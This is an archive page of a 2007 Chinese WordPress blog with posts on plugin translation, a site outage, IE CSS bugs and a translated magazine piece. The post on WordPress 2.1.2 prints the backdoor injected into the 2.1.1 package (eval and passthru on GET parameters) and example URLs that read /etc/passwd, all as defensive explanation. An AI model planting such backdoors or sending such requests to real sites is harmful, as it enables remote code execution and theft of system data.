Archive

WordPress 2.1.3和WordPress 2.0.10发布

WordPress 2.1.3和WordPress 2.0.10于北京时间2007年4月3日早上8点33分发布,距离上次WordPress 2.1.2发布刚好一个月。这应该是WordPress 2.1.x系列里的最后一个版本了,因为WordPress 2.2将在20天后的4月23日发布。WordPress开发日志里花了一半篇幅叙述WordPress.org服务器做了很多安全工作,虽然在这一个月内遭到了数百次黑客攻击,但是没有遭到破坏。看来上次2.1.1被黑的事情对WordPress影响很大啊,希望不会影响到WordPress用户对WordPress的信心。
继续阅读《WordPress 2.1.3和WordPress 2.0.10发布》

Google Sitemap Generator中文包

从开始用WordPress架Blog不久就用了这个Google Sitemap GeneratorGoogle Sitemap Generator插件,因为2005年底就接触了Google Sitemaps,当时好多文章都介绍了说这个东东可以提高Google收录的速度。blogger.com时代用了在线工具建立sitemap.xml文件,转用WordPress之后就立刻找了建sitemap.xml的插件。

今天趁着升级到WordPress 2.1系列的机会,把插件过滤了一遍。Google Sitemap Generator的稳定版一直都是2.7.1,而3.0版从2006年1月就开始beta了,到现在都beta 6了。以前对"beta"很敏感,觉得beta版都是大牛们用的,普通用户还是用稳定版的好。现在懂的多了,就不怕了,毕竟Gmail从2004年4月到现在不还是在beta吗?这个插件目前的最新版本是3.0b6,是2007年1月底发布的,为兼容WordPress 2.1系列做了些改进。新版本里带了很多语言包,也包括繁体中文包和简体中文包,但都是2.7.1时代的,po文件里的信息都是2005年的。在Google里搜了下,网上没人做简体中文包,只有Kirin Lin做了个繁体中文包,于是下载下来,参考着开始做简体中文包。

2.7.1的中文包是june6th(june6th@gmail.com)做的,看起来是直接把Kirin Lin的繁体中文包繁体转简体后生成的,翻译的都一样,还有一处"頁面"没换成简体。我没有直接拿繁体中文包进行繁转简,虽然Word的简繁转换功能很不错,而是参考着重新做。繁体中文包里写的项目名里的版本号是3.0b7,可是插件主页上的最新版本是3.0b6。在插件的svn里找到了3.0b7,下载下来,确实比3.0b6多了一项功能并修复了几个bug。在svn上看到几个小时前作者刚更新了readme文件,看来作者最近又开始关注这个插件了,希望3.0早日脱离beta。

124项字符串,过了一遍,参考了繁体中文包里的翻译、后台页面里的上下文以及在源代码中的上下文,耗时一个半小时翻了出来。翻译的过程中遇到了一些无法翻译的文字,都是因为作者的代码没写好。另外在Kirin Lin的繁体中文包里发现了一些错误。比如,有两个句子大致是一样的,区别只是一个讲的是Google一个讲的是Yahoo,小林翻译好上面Google那句,就直接复制粘贴到下面Yahoo那句,却忘了把"Google"一词改成"Yahoo"了。还有"in seconds"被翻译成“几秒内”,那是个注释,意思是前面要求输入的数值单位为“秒”。还有abbr标签被写成"attr"了,我说怎么这个标签看着怪怪的呢,呵呵。另外,从去年4月我开始用的这个插件的时候,就对"优先级中 (如果自动计算没有打开)"这句话相当疑惑,无奈当时又不懂PHP,也就没再细研究。今天又在繁体中文包中看到这句话,再看一眼英文原文,"Minimum post priority (Even if auto calculation is enabled)",原来是“最小文章优先级(即使优先级自动计算被启用)”,指的是在优先级自动计算的过程中,要求最后的计算结果不得低于这个值。我就这样被蒙蔽了一年...

其实总体还是不错地,上面只是些小瑕疵。在繁体中文包里发现原来FAQ在台湾被翻译成“答客问”,挺好玩的。台湾人好像对中文很热爱,很多英文单词都尽量翻译成中文,比如“视窗系统”、“部落格”。而且在翻译上大多力求完美,翻译成通顺的中文而不是一个单词一个单词的翻译英语式中文。所以在做翻译时有繁体中文包可以抄真是件幸福的事。好像法国人也很热爱自己的母语,前两天报纸上说欧盟最近要庆祝成立50周年,制作的庆祝标志因为用了英文的"together"而被法国抗议。其实,我也很热爱中文,所以英文才很烂的。这个理由不错吧?嘿嘿。

cqcrz总说很羡慕我码字的能力。可是看看去年4月写的这篇《Google Sitemap Generator》,通篇只有两行字而已。所以,码字的能力是锻炼出来的。今天既然把这个插件好好的研究了一遍,就把这篇文章扩充一下。不知道这次能码多少字。

Google Sitemap Generator 3.0b7 简体中文包,下载后丢(这个词是跟小林学的)到wp-content/plugins/sitemap目录里就可以了。目前最新的3.0b7版可以在这里下载。

My Category Order——WordPress分类顺序插件

My Category OrderMy Category Order这个插件的作用在于可以自行设置侧边栏里分类列表的显示顺序。WordPress默认分类列表是按照名称顺序显示的,修改一下调用函数的参数后也仅可以使用分类ID顺序。正因为有很多人希望自己的分类列表的排序方式能够自行控制,所以,My Category Order插件应运而生。

激活这个插件后进入“管理->My Category Order”页面,插件会自动为wp_categories表添加一个名为"cat_order"的列。插件会把分类序号存在这一列里。然后,我们需要手工修改sidebar.php文件(如果使用了SBM则需要修改相应模块文件),在wp_list_categories()函数的调用参数里加上orderby=order一项,让WordPress在输出按这一列排序。

插件的后台很简单,上面显示当前的所有分类的下拉列表,选中一个即可进入该分类。下面按顺序显示分类,可以选中一个后通过“向上”“向下”两个按钮调整他们的顺序,调整好后即可点击后面的按钮保存顺序信息。如果分类层次比较多的话,一个一个进入也挺麻烦的。不过还好,分类顺序也不需要经常调整。

另外,插件无视没有文章的目录哦。所以只有有文章的分类才会在插件后台显示出来。

另外有一个插件Category OrderCategory Order,它更复杂一些,调整也更容易些。不过,我觉得这个插件太小题大做了,它把WordPress的输出整个截取下来做处理,不如My Category Order插件来的巧妙。

网站down了24小时

51yes的访问统计上看,我的Blog应该是在昨天中午11:30到12:00时down掉的。网站连不上,ftp上不去,看来是整个服务器down掉了。当时还在想,会不会是服务器被公安局拿去检测了,以前听说过有公安局直接到机房把机器拿走去检测,然后过几天才还回来的事情。

昨天下午郁闷的很,开着LeapFTP,不停的连接服务器,总是返回“连接服务器超时”的信息。突然发现原来这个Blog对我是如此的重要。下午5点时,有了一点变化,“连接服务器超时”变成了“连接服务器被拒绝”,说明服务器应该已经重新连上了,但是ftp服务器端软件还没有被打开,21端口现在是关闭的。自从我的服务器去年8月从厦门搬到福州以后,好像机房的防火墙就封了ICMP包,所以一直以来服务器都是Ping不通的。现在显示连接服务器被拒绝,如果ICMP包没被封的话,应该是可以Ping通的。

下午6点,ftp可以连接了,但是登录不上,显示密码错误;6点半,ftp可以登录了;7点,Apache开启,MySQL开启,后台可以登录了;7点半,前台Blog首页正常,但是子页面还是无法显示。查来查去,好像是.htaccess文件无法使用,导致无法使用静态的Permalink结构。无奈,到FeedBurner上把烧录地址改成"http://yskin.net/?feed=rss2",这样烧录过的地址是可以用了,但是原feed地址"http://yskin.net/feed/"无法使用,所以feed还是坏的。

昨晚睡觉前想了下解决办法,在.htaccess文件不可用的情况下,只能用动态的Permalink结构,还应该建一个feed目录,在下面放一个index.php文件,以便使"http://yskin.net/feed/"这个地址能被307重定向到FeedBurner烧录过的地址。今早10点半上来检查,故障依旧。于是把Permalink结构改成带"index.php"的格式,暂时可以保证在Blog内部可以进入各个子页面了,但是搜索引擎过来的依然没办法。中午12点半,尝试更新了一下永久链接结构,发现显示更新成功,而.htaccess文件变成了0字节了。记得Linux下权限管理是非常严格的,或许是服务器被重装了以后,.htaccess文件的权限还归属于原来的用户吧。于是直接删了.htaccess文件,再更新永久链接结构,.htaccess文件更新成功,Blog也恢复正常了。再把我原来的.htaccess文件上传,一切正常。

呃,这次故障可真伤脑筋。看服务器上,Apache的版本依然是2004年的2.0.52,PHP是2004年的4.3.9,MySQL还新点,今年5月的4.1.20。Apache的Build Date是2007年2月21日。所以我也晕了,不知道这次故障是因为服务器被拿走了,还是因为为了升级服务器上的软件。

两条经验:一、备份是重要的!二、更新永久链接结构是很好的解决故障的方法。

Update:哈哈,一下午无法上传文件,只有通过WordPress建立.htaccess文件。刚才登录百优的管理后台才发现,原来空间使用已经高达470M了。看来这次百优升级服务器的时候把空间限制也打开了。ftp上去清了一下以前遗留的垃圾文件,终于到了300M以下。

Update2:在百优这样的空间上有利有弊。百优相对于盘古和DreamHost这样的空间来说算是比较小的空间了,好处在于很多地方并不是那么严格,比如空间上,以前多用了一半多空间也没被警告;流量上,看后台的显示,我是每个月都要超过20G的流量,不过也没有收到过警告。百优的服务也很不错,在线提问系统回复的也很及时。另外,空间还算比较稳定,这一年以来也没丢过文件,而且在早期速度还是很有保障的,可能用户不多吧。以前FTP下载速度是2M/s。现在速度有点差了,不过FTP也有400K/s。网页执行速度一直都还可以,都在1秒以内,只是最近可能用户增多,MySQL经常会比较慢或者干脆不能使用,导致网页执行速度有点问题。

缺点嘛,就是平庸一点,没有盘古和DH的shell。各个软件的版本会有点老,不像DH那样经常升级。(当然盘古的更老,MySQL还是4.0版本呢。)版本老,就有可能有bug,可能会被人攻击,所以资料备份要勤点。当然,无论在哪里的空间,自己都要注意备份。另外电信的线路,网通访问可能会慢。不过盘古也是电信的线路。另外,DH和盘古如果出了故障都会有补偿,这次我的服务器的故障,好像连个官方消息都没有,嘿嘿。

寻找“秋天”

《南方都市报》2007年3月4日 B05版

寻找“秋天”

美国《名利场》编辑Nick Tosches,被Windows内置的一张照片(见右图)吸引,画面上是明艳的秋天。他突发奇想,一心想知道摄影者是谁,绝美秋日景象摄于何处。他先是被Windows婉拒,(yskin:应该是“被微软公司婉拒”)后来确定图片版权属于比尔·盖茨的Corbis图库。最后,《名利场》图片编辑查到了摄影师的身份。花了一年时间,无名照片的拍摄地终于找到了。(yskin:本段摘要是译者加的,英文原文中没有这段。)

花了大约7个小时,计算机操作员终于把我旧电脑里的一切,转移到我的新电脑里。新电脑安装好程序,调试完毕,整装待发。这个操作员往后一退,打着嗝儿,笑眯眯地站在旁边。

我坐在椅子上,望着全新的19英寸液晶显示器,眼前是Windows XP默认的桌面壁纸——绿色山峦和蓝天白云——在星期日午后,看到这种老套乏味的照片简直让我想去自杀。

“你能不能改改这个?”

计算机操作员重新设定。我再看屏幕,看到的是秋天的绝美景致,古老枫树覆盖着一条乡村小路,地上铺满金黄的落叶,既美丽又梦幻。这是我一个轻度疯狂行为的开始。

我去过泽西市,我去过巴黎,我去过阿拉伯半岛,我回家了。

我注视着这条乡村小路和巨大的古老枫树。现在我只知道这一壁纸或背景的名字是“秋天”。坐得离书桌更近一些,我更近地凝视这幅图片,我看到道路尽头有一个模糊、黑暗、吸引人的东西。那是一间小屋?一座隐蔽的桥?一间谷仓?我真的希望身临其境,走在那条小路上,站在那些枫树下,缓缓地踱向那个黑暗、吸引人的建筑。

我到了巴黎,转道东京,再到米兰和科摩湖,然后回到美国。我对所有事情和所有地方都感到厌倦,我只想去“秋天”。

我心想,这应该是易如反掌。我是一个好侦探。我找到过万象的鸦片洞穴,采访过红衣主教、黑手党和酋长,从梵蒂冈得到博士头衔从而得以接触它的秘密文献,破译诗人庞德在精神病院里写作的《诗章》中的隐晦文字,追踪并且采访了美国著名音乐制作人Phil Spector的第一个妻子(哪怕人们以为她死了),寻找到了塞浦路斯“伟大母亲”的圣石,搞到了女影星夏洛特·汉普林的手机号码。查出一张是在哪里拍摄的,特别是几千万台电脑上都有的一张照片,肯定是唾手可得。

我们这些凡人是多么愚蠢。点击照片,在电脑中一步步追查下去,我只得到一个结果,“秋天”是一张5000字节的Windows主题照片。当我在电脑中搜索何为“主题照片”,Windows的“帮助支持中心”建议说,“请检查你的拼写”。

那么好吧,微软的人应该知道照片的出处。但结果证明,就算他们知道,他们也不愿意泄露天机。

我的好奇变成了渴望,渴望又变成了痴迷。我把许多朋友拉扯进我的大搜索。我不仅要找到“秋天”并拜访那里,我现在希望去那里,在落叶覆盖的乡村小路附近找一间小屋定居。图片编辑,文字编辑,事实核查员,研究员,计算机操作员,我的形形色色、四处奔走、忠贞不渝的工作人员,都加入了所谓的“秋天小组”。

“秋天小组”的每一位成员,像我一样,起先都以为找到图片拍摄地点是小菜一碟,马上可以做到。然而,几个月过去,我的多数志愿者,不肯承认他们的失败,反而找借口说“也许它是电脑合成照片”,随后回到他们的正常生活。

我对微软的询问,被转给Waggener Edstrom公关公司。“秋天小组”的一员与Waggener Edstrom公司工作人员的电邮往来是最具代表性的:

“哈罗,我是撰写有关计算机桌面墙纸的记者,我有一个问题,Windows XP有一张题为《秋天》的照片,你能否告诉我摄影师的名字和拍摄地点?现在附上照片。我知道这是不寻常的请求,您的帮助我将不胜感激。”

“我非常乐于处理您的请求。关于您的请求,请给我与同事联系的机会。这是为了写作文章吗?如果是这样,请问您的截稿时间,以及这一信息将被如何使用?”

“感谢您如此迅速的回复!是的,这是为了写作一篇文章,我的截稿日期是7月10日。文章是关于人们的电脑壁纸如何影响他们的工作习惯。这张特别的相片是我个人的最爱,我将描写它如何给我灵感,在写作时如何激发我的想像力。这幅照片的摄像师,特别是拍摄地点,将是文章中非常重要的元素。当然,我将会感谢你代表微软提供的协助,文章刊出后会给您送上擦眼泪的纸巾。(yskin:原文为"tear sheets upon publication","tear sheet"应该翻译成“样张”)再一次致谢。”

“嗨,我正在跟进你最新的电邮,并且就你的询问与同事取得联系。不幸的是,我们不能参与这一机会,对造成的不便深表歉意。祝顺利。”

“你能告诉我为什么不可以吗?谢谢。”

“嗨,不幸的是,我没有参与决策过程,我也不方便评论同事的想法。我为造成的不便道歉。我会建议网络提供更详细的照片信息。祝顺利。”

我仿佛看到,披戴黑色头巾、身穿宽松长袍的人,围坐在一个桌子周围,歃血为盟誓不透露“秋天”的纬度和经度。

为何有这样一堵沉默、保密的高墙?我没见过任何公司竟然如此坚决地回避正面报道。

“秋天小组”人丁渐稀的成员,开始对我灌输各种离奇的推测:

“照片拍摄地点附近有马匹,是的,你看不到它们,但是,看到没,右侧有个老旧破烂的栅栏?那就是马圈栅栏。”

“我认为它在佛蒙特州,因为它感觉像佛蒙特。”

于是,致电佛蒙特州旅游局:“哈罗,你能告诉我这张照片是在佛蒙特州什么地方拍的吗?我想拜访那里。多谢。”

然后,佛蒙特州旅游局回复说:“我们认为,照片是微软Windows内置的桌面,至少我们的图书馆没存档这张照片。我咨询佛蒙特州《生活》杂志的图片编辑,让他看看是否认识。”

在互联网上进行了精疲力尽的搜索之后,在7art-screensavers.com上发现了“秋天”的倩影,名字也被改为“温柔的秋天”。于是,给网站发了一封请求电邮:“你可否告诉我,‘温柔的秋天’是在哪里拍摄的?”很快收到友好的回信,仿佛是来自俄罗斯的:

“这张图片是朋友传给我们的,我确实不知道它的出处。但我知道其他落叶图片的来源,那是莫斯科植物园。圣诞快乐。”

我问媒体大亨塞缪尔·欧文·纽豪斯是否认识比尔·盖茨。我问酒吧里的客人是否认识在微软工作的人。我给比尔·盖茨写的电子邮件至今没有收到答复,不过我确信他拥有这张照片。他拥有达·芬奇的古抄本。他拥有一切。他一定拥有“秋天”,如果说不是拥有照片所在地的话。就算盖茨不知道,为他工作的7万人至少有一位知道照片的拍摄地点或摄影师。

比尔·盖茨拥有Corbis图库,收藏了大约7000万张照片。Corbis“秋天”主题有5000张图片,我在其中大海捞针,搜索到一半,我找到了它:CB047623(秋天飘落在路上)。Corbis的其他照片会标出摄影师、拍摄日期和地点。我心想,宝贝,多日辛苦今天终于有了回报。点击照片察看细节,我得到的结果仅仅是:“拍摄日期:1999年10月。”

要命的Corbis!

我偶然发现,缅因州摄影师詹姆斯·马歇尔拍摄的马萨诸塞州曼德利市的秋日枫叶,与“秋天”有相似之处。

他的回答是:“抱歉,这幅照片不是我拍的。”

有人试图安慰我:“说不定照片上的地方紧邻一个有毒垃圾处理场呢。”我的好友布鲁斯暗示照片上有不祥因素:“或许那里发生了爆炸,道路尽头或许发生了骇人的事情,所以他们不肯告诉你任何线索。”

但是,不论是有毒的垃圾还是死人尸体,我都毫不在意。“秋天”在等我,在某处,是的,在彩虹之上。是的,我仍在寻找。

这时,我放下钢笔。我给比尔·盖茨的电邮终于有了回音,当然不是“大坏蛋比尔”本人的回复,而是exchange.microsoft.com发来的电子邮件,信中写道:“照片的拍摄地点是加拿大安大略省的坎贝尔维勒(Campbellville)。”

哇!

现在,我只需要知道摄影师的名字,就可以找到一个尽管陌生但被我视为家园的地方。

“Corbis图片社不想公布摄影师的名字,因为它拥有图片的版权。”(yskin:意思是Corbis图片社已经从摄影师处买下了照片的版权,现在这幅照片属于图片社。)

我不想侵犯版权。求你了,我只想知道摄影师的名字。

“祝你好运。”

我向坎贝尔维勒的人士寻求帮助。历史学者,商业行会,旅馆老板,房地产经纪人,图书馆管理员,养马农场。没有人确定照片的景象位于何处。我甚至向《名利场》主编戈莱登·卡特求助:“你知道我是疯狂的,但是……”

最终,我收到《名利场》资深图片搜索编辑安·施奈德的来信,现在我尊称她为“女神”和“神圣的仲裁者”,因为她奇迹般地告诉我,摄影师的名字是彼得·布瑞恩。

我拿出水晶酒杯和苏格兰威士忌,咧嘴大笑。但是,微笑很快像威士忌一样无影无踪。

彼得·布瑞恩,住在加拿大安大略省密尔顿。是的,他确实告诉Corbis照片是在坎贝尔维勒拍摄的,“但当我回想往事时,我想可能是在附近的基尔布赖德(Kilbride)”。他驱车走访坎贝尔维勒和基尔布赖德两地。他向我报告说:“两个村庄都没找到,我犯了错,不过我知道它一定在密尔顿方圆60英里的范围内。”他把这次搜索称为“大海捞针”。

发现“秋天”的人也遗失了“秋天”。

但是,他变得像我一样痴迷。虽然10天之后他要前往巴黎,手头有大把工作要做。他说,积雪融化,驱车奔驰在乡村道路上,不是什么美差,“但我是那种意志坚定的人,我们一定会找到‘秋天’的地点”。

同时,在彼得第一次提到基尔布赖德时,我马上写信给伯林顿(Burlington)的熟人,那是距基尔布赖德最近的地方,我有大把熟人可以通信。我收到伯林顿历史界人士珍·阿尔温的回信:“基尔布赖德是伯林顿城市的一部分,它北部的乡村地区,开车才能抵达那里。我不会开车,可能十年没有到过那里,但照片上的景色看起来很熟悉。我的最佳猜测是,据照片上的栅栏和灰色谷仓推断,这是向南通向老哈利斯的道路。”

虽然基尔布赖德已被排除在外,但我还是把珍的回复转交彼得。第二个星期六,彼得再次走访基尔布赖德村。当天晚上,我从他那里收到消息,这也是我这一年多来一直想说的:“我找到它了。”

作者:Nick Tosches 翻译:玲珑
yskin于2007年3月5日下午录入


这篇文章的英文原文是《Autumn and the Plot Against Me》,刊登于《Vanity Fair》(名利场)杂志。在cnBeta上有一篇相关文章,提到一些其他的相关信息:

1999年10月,Peter Burian在测试镜头的时候拍下了数百张图片,其中一张就是“Autumn”。后来他把这张图片传送到Corbis数据库,微软而后以300美元的价格购买了这张图片,Burian分到了45美元。

Burian表示接到Tosches的电话真是太棒了。“当知道我拍摄的照片被数以百万计的人们观看时我非常震惊”,他说,“拍这张图片的时候我可没想那么多。”(难道他没用过XP?)

Burian说,图片中的那条小路通往一个普通的农家房子,房子的主人是这个地方的第一代居民Harris一家。

Tosches表示希望在今年亲眼看看这个地方,“我现在知道在哪了,我不会去别的地方。”

cnBeta上有人说要是能找到wind那张拍摄地点才叫牛。嗯,wind那张就是蓝天白云的那个,怕是很难找到,哈哈。

我找到了Peter Burian的网站:http://www.peterkburian.com/,在上面搜索"Autumn"即可找到两个图片,一个是原始的秋天图片,一个是Peter找到它后拍摄的照片,白雪皑皑,一片冬日景象,虽然从1999年到现在已经7年了,但是那儿的样子并没有太大改变。Peter的网站做了处理,我在Firefox里点击右键会提示这些照片都是有版权的。所以,给出两个链接吧:秋天冬天

看到这篇文章很感动。或许我是个很容易感动的人吧,上次看到Free Hugs那个视频也是,总是为这些人的执着而感动。

文章的翻译一般,很多地方翻译的比较生硬。对照原文看了一下,原文中的一些内容也被去掉了。没办法,报纸嘛,为了版面,也为了方便,也不会翻译的多仔细多完整。

想起了我自己,有时为了一个问题研究几个小时,吃饭啥的都忘记了,或许有些时候不应该那么执着。唉,从小养成的习惯,问题不解决不罢休。

WordPress 2.1.2发布

距离上一次WordPress 2.1.1发布仅10天,WordPress 2.1.2发布了。

WordPress官方Blog的文章:《WordPress 2.1.1 dangerous, Upgrade to 2.1.2》。这次急匆匆的发布是因为WordPress网站被攻击了。在三四天前,WordPress网站上WordPress 2.1.1的压缩包被黑客(cracker)修改,有两个文件被加入了一些代码使得WordPress可以执行远程PHP代码。WordPress开发组及时修正了WordPress 2.1.1的压缩包,然后直接发布了WordPress 2.1.2,并且敦促大家尽快升级到WordPress 2.1.2,而且升级的时候最好是上传覆盖所有文件。

这次被影响的只有WordPress网站的WordPress 2.1.1版本的压缩包,所以,比较早时间下载的WordPress 2.1.1不受影响、WordPress其他版本比如2.0.x系列不受影响、从WordPress svn更新的不受影响。不过,鉴于WordPress 2.1.2还是修正了一些bug,所以最好还是更新一下吧。

根据WordPress官方Blog文章的信息,应该是wp-includes/feed.phpwp-includes/theme.php这两个文件被修改了。如果你是网站的管理员,那么应该立刻设置禁止对这两个文件的直接访问。如果你可以拿到网站的访问记录文件的话,可以检查一下是否有直接访问这两个文件的记录,尤其是包含"ix="和"iz="这样的查询。我现在不知道具体改的是什么代码,我的WordPress 2.1.1是发布当天就下载的,在网上通过Google的Blogsearch也查不到具体被修改文件的信息,唉。

WordPress开发组现在做了一些安全措施,保证以后不会再发生此类事件。这次压缩包被修改了三四天才被发现,估计会影响到不少人。不过,在国内还是有很多人喜欢用点点游的中文版,而在国外则高手比较多,直接用svn升级WordPress,再用curl执行升级程序,升个级连浏览器都不用打开。而WordPress的死忠们则大多在WordPress 2.1.1刚发布的时候就更新了,也不会受到影响。总之,在RSS阅读器里订阅WordPress官方Blog的feed,在WordPress新版发布的时候立刻跟进更新,这是非常重要地。

P.S. 看起来国外喜欢用"cracker",只有中国才黑客来黑客去的叫。

WordPress 2.1.2的更新不多,有下面几项:

  1. 修正Ecto通过XMLRPC发布文章时不能Trackback的问题。[4906]
  2. 修正wp_delete_file过滤器不能使用的问题。[4909]
  3. 修正搜索空字符串时返回SQL错误信息的问题。#3722 [4912]
    这个bug可以被黑客利用,如果搜索空字符串可以看到数据库出错信息,如果搜索一个逗号可以搜到所有已发布的文章。
  4. 在“后台->页面管理”页面,按照页面名称顺序进行排序。[4914]
    在WordPress 2.0.x系列里,页面是按照menu order排序的,所以在前台的显示顺序和后台的显示顺序是一样的。
  5. wp-includes/js/tinymce/tiny_mce_config.php文件里添加cache_javascript_headers()函数。[4918]
  6. 给一些SQL查询里的列名前加上表名,以消除二义性。[4923]
  7. 打开TinyMCE里使用Firefox自带拼写检查功能的选项。[4931][4949]
    就是说,如果你用的是Firefox 2.0系列的话,那么在TinyMCE里就可以使用Firefox 2自带的拼写检查功能了。
  8. 修正在单篇文章的评论管理页(http://abc.com/wp-admin/edit.php?p=1&c=1)里无法删除评论和标记垃圾评论的问题。[4936]
  9. AYS的提示信息实体化。[4952]
    这个bug可以造成跨站脚本攻击。具体信息在#3879

WordPress 2.1.2对照WordPress 2.1.1更新的文件:

  • wp-admin/custom-header.php
  • wp-admin/edit.php
  • wp-admin/edit-pages.php
  • wp-includes/js/tinymce/tiny_mce_config.php
  • wp-includes/functions.php
  • wp-includes/query.php
  • wp-includes/script-loader.php
  • wp-includes/version.php
  • xmlrpc.php

要记得检查被篡改的wp-includes/feed.phpwp-includes/theme.php两个文件啊。

2007年4月23日,WordPress 2.2将发布。大限在即,不知道2.1.x系列还能更新多少个版本。

Update:找到了bug报告者Ivan Fratric关于此次事件的说明页面。被添加进WordPress 2.1.1里的代码是:

wp-includes/feed.php:

 function comment_text_phpfilter($filterdata) {
eval($filterdata);
}
...
if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }

wp-includes/theme.php:

 function get_theme_mcommand($mcds) {
passthru($mcds);
}
...
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

所以攻击者可以通过:

http://wordpressurl/wp-includes/feed.php?ix=phpinfo();
http://wordpressurl/wp-includes/theme.php?iz=cat /etc/passwd

这样的代码来让受攻击的系统执行任意代码。

Ivan Fratric说,他估计文件是在2007年2月25日被修改的,所以从2007年2月25日到2007年3月2日在WordPress网站上下载的WordPress 2.1.1压缩包都会受到影响。

唉,可恶的cracker...

IE里behavior属性的一个小bug

我用的百优空间没有访问日志,所以我在K2模板的footer.php里加了一段代码,将每次访问的相关信息记录进一个文本文件里。这种方法的缺点是只能记录Blog页面的访问,其他的文件比如图片、js、CSS文件就没办法了。

这两天我的空间经常会提示数据库连接过多,而且垃圾评论也变得狂多。昨天修改了下这个插件,直接屏蔽所有全是英文并包含链接的评论。平常我很少看这个访问日志,只是每个月清理一下,以免影响速度。今天因为空间有问题,就去检查了一下,发现有很多对pngbehavior.htc文件的访问,有根目录下的/pngbehavior.htc,也有各个月份目录下的/2006/07/pngbehavior.htc,也有page下的/kfc/pngbehavior.htc。用WinRAR在我的网站备份文件里搜索了一下,发现CoolPlayer插件CoolPlayer插件的coolplayer.css文件里有"pngbehavior.htc"字样,具体的代码是:

img {
	behavior: url( pngbehavior.htc );
}

我对CSS了解不多,只记得CSS里background里会用到url,一般写成url(abc.png)表示和当前CSS文件同目录下的abc.png文件。而写成url(/abc.png)则表示网站根目录下的abc.png文件。写了个小html文件做测试,1.html文件里引用"/tmp/t.css"这个CSS文件,并加上一个div标签和一个img标签,img标签的src为"/mm.png",而CSS文件里写上:

img {
	behavior: url( pngbehavior.htc );
}
div{
	background: #FFF6BF url(haha.png) 8px 6px no-repeat;
}

把文件上传到网站上,开上IRIS嗅探器,在IE浏览器里输入这个html文件的地址。嗅探结果显示IE依次读取的是/1.html、/tmp/t.css、/pngbehavior.htc、/mm.png、/tmp/haha.png这几个地址。

也就是说,behavior里的url和background里的url还是有区别地,behavior的url不支持相对路径。写错了,behavior里的url不是不支持相对路径,是我的例子特殊了。behavior里的url的当前路径不是CSS文件的目录,而是当前页面的目录。也就是说,"/"目录下的html文件,"/tmp"目录下的CSS文件,background里的url使用的是CSS文件的当前路径"域名/tmp",而behavior里的url使用的是当前访问页面的当前路径"域名/"。bahavior属性好像只有IE支持,或许这是IE的bug?看访问日志里pngbehavior.htc文件的访问记录,User-Agent里有MSIE 6.0的,也有MSIE 7.0的,也就是说IE6和IE7里都有这个问题。

WordPress通过.htaccess文件接管访问,除了服务器上实际存在的文件外,其他的访问都被重定向到WordPress的index.php文件上。所以,这些对pngbehavior.htc文件的访问最终都会被WordPress处理,也就是说都会走一遍WordPress的整套程序,包括连接MySQL数据库、载入WordPress核心文件、载入插件、分析访问地址,最后给出HTTP 404。因为现在使用IE浏览器的人还是比较多的,所以对网站的性能还是有很大影响的,不仅占用了CPU资源,还增加MySQL连接数。而这个pngbehavior.htc文件,估计应该是为了解决IE无法处理png的alpha通道的问题吧,反正我也很少用Coolplayer,直接把这条CSS代码注释了事。

呃,目前CoolPlayer的最新版9.3版同样有这个问题。跟andot大大报bug去,啦啦~~

Update:最近接触到不少bug,包括IE的bug,Firefox 2.0里开发组非要在显示feed时只显示摘要,WordPress 2.1里开发组非要把以前feed里more标签无效改为有效。唉,这些关系民生,影响很多用户的事,怎么就没人管呢?IE也就算了,微软牛气嘛,这么多版本以来,哪个版本不能通过网页执行程序啊。Firefox和WordPress这样的开源软件也有这些问题,感觉开发组里没人为普通用户代言的,爱变成什么样就变成什么样。我越来越觉得WordPress不是我们普通WP用户的WordPress了,而是开发组的WordPress。

IE图片缓存bug

今天花了点时间调Blog的CSS。算起来,也有两个多月没怎么动过CSS了。

这次主要想解决下IE下显示的问题。因为我从去年3月以来一直用着Firefox,呃,上次开Maxthon是去年4月,所以没怎么在IE下检查过我的Blog。现在机器里没有Maxthon,想在IE环境下查看Blog就要开我的IE 6 SP2。可是,我的Firefox里设置了屏蔽51yes的统计代码,所以我每天在Firefox下看查看Blog不用担心51yes的统计数虚增。但是IE里没有屏蔽广告功能,所以,每次用IE进我的Blog时,我的内心都很挣扎。

文章内容部分的字体我又换回Verdana了。去年6月时详细地考虑了一下字体的问题,当时觉得宋体好点,尤其是标点符号的显示。比如“……”省略号,在宋体下显示在中间,而其他英文字体下只能显示在靠下的位置,类似六个点“......”这样。另外,引号和外国人名中间的间隔号也是宋体下好看一些。而字号,我用的是12px,觉得足够了。用了这么半年多,觉得宋体里英文的显示太不好了,显示的很小,不清楚,而粗体的英文,比如"W",简直就是一团黑。换回Verdana,则文章里的英文部分用Verdana显示。听说Verdana是微软特别找人为英文制作的,用来显示英文正文是最好的。而文章的中文部分则使用宋体。这里有点浏览器差异,在下一段介绍。整个CSS写成font: 12px/16px Verdana, 宋体, Sans-Serif;,显示效果还行。

浏览器的问题,Firefox是在字体列表中一次寻找,比如一个汉字,Verdana字体里没有,就往后找后面的字体,如果后面有一个楷体,就用楷体显示这个字。而IE和Opera,则是寻找一个有效自己,比如字体列表里第一个当前系统有装的字体是Verdana,就用Verdana显示文字,当遇到汉字Verdana里没有的时候,就使用系统默认的字体,而汉字的默认字体一般是宋体,所以汉字就被用宋体来显示。听说Vista里汉字的默认字体是微软雅黑,那么IE里我的Blog的文章正文部分应该就是以微软雅黑字体显示。不过我觉得微软雅黑不太好看,或许是不习惯吧。浏览器差异啊,真是个麻烦。

评论部分调整了一下,以前没注意CSS的匹配程度,导致custom.css里的评论CSS代码无法覆盖True Blue的CSS。现在评论部分好看多了。

True Blue 1.3.4是去年10月的事了,1.3.4_svn则是去年12月发布的,只是增加了在K2去年年底新增的TextTrimmer部分的CSS代码。这样算来,True Blue已经有4个月没什么变动了。到True Blue主页看了下,作者在Google Code建立了项目页面,1.4版已经在筹划中,现在已经beta 1了。1.4里做了不少改动,标题图片的显示方式换了,到时要重新用Photoshop制作我自己的标题图片了。

True Blue是用:before选择符对侧边栏里的每一个列表项进行处理的。在Firefox和Opera下可以看到效果,但是IE6里却没有效果,列表项前光秃秃的。原因当然是很简单,IE6不支持before选择符。我想在IE6下模仿Firefox下的效果,把Firefox下的页面截图,截取列表项前的标记保存成图片文件,然后通过CSS控制在IE下用该图片做列表项的标记。

很容易就做好了这件事,但是做好后却发现一个问题:侧边栏那么多列表项,每一个都要读一次图片,结果IE的状态栏上从“还剩160项”开始显示,半天才把这160多个图片下完。

